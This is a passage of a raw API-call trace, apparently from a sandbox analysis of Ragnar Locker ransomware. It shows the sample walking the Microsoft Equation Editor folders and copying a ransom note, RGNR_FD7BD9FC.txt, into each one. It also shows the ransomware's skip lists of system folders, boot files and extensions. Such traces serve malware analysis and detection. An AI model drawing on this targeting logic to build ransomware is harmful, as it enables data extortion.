lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0047.969] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RGNR_FD7BD9FC.txt" [0047.969] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0048.011] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*" [0048.011] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.011] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0048.011] lstrcpyW (in: lpString1=0x1eb224, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0048.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0048.011] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.012] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.012] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.012] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.012] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.012] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0048.012] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0048.012] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.012] lstrcpyW (in: lpString1=0x1eb638, lpString2="1033" | out: lpString1="1033") returned="1033" [0048.012] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" [0048.012] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\" [0048.012] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RGNR_FD7BD9FC.txt" [0048.012] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0048.058] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*" [0048.058] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0048.058] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0048.058] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0048.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ee40aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0048.058] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.058] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ee40aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.058] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.058] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.058] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2=".") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="..") returned 1 [0048.059] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee40aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0048.059] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0048.059] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0048.059] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee40aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0048.059] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0048.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ee40aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0048.059] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ee40aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.059] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0048.059] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0048.059] lstrcpyW (in: lpString1=0x1eab6a, lpString2="EEINTL.DLL" | out: lpString1="EEINTL.DLL") returned="EEINTL.DLL" [0048.059] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned=".DLL" [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="autorun.inf") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="boot.ini") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="bootfont.bin") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="bootsect.bak") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="bootmgr") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="bootmgr.efi") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="bootmgfw.efi") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="desktop.ini") returned 1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="iconcache.db") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="ntldr") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="ntuser.dat") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="ntuser.dat.log") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="ntuser.ini") returned -1 [0048.059] lstrcmpiW (lpString1="EEINTL.DLL", lpString2="thumbs.db") returned -1 [0048.059] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0048.060] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0048.060] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0048.060] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee40aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0048.060] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0048.060] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0048.060] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0048.060] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0048.060] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee40aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0048.060] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0048.060] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0048.060] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0048.060] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0048.060] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0048.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0048.060] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0048.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0048.061] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.061] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ee40aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ee40aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.061] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0048.061] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.061] lstrcpyW (in: lpString1=0x1eb638, lpString2="EQNEDT32.CNT" | out: lpString1="EQNEDT32.CNT") returned="EQNEDT32.CNT" [0048.061] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned=".CNT" [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="autorun.inf") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="boot.ini") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootfont.bin") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootsect.bak") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootmgr") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootmgr.efi") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="bootmgfw.efi") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="desktop.ini") returned 1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="iconcache.db") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ntldr") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ntuser.dat") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ntuser.dat.log") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="ntuser.ini") returned -1 [0048.061] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2="thumbs.db") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".db") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".sys") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".dll") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".lnk") returned -1 [0048.061] lstrcmpiW 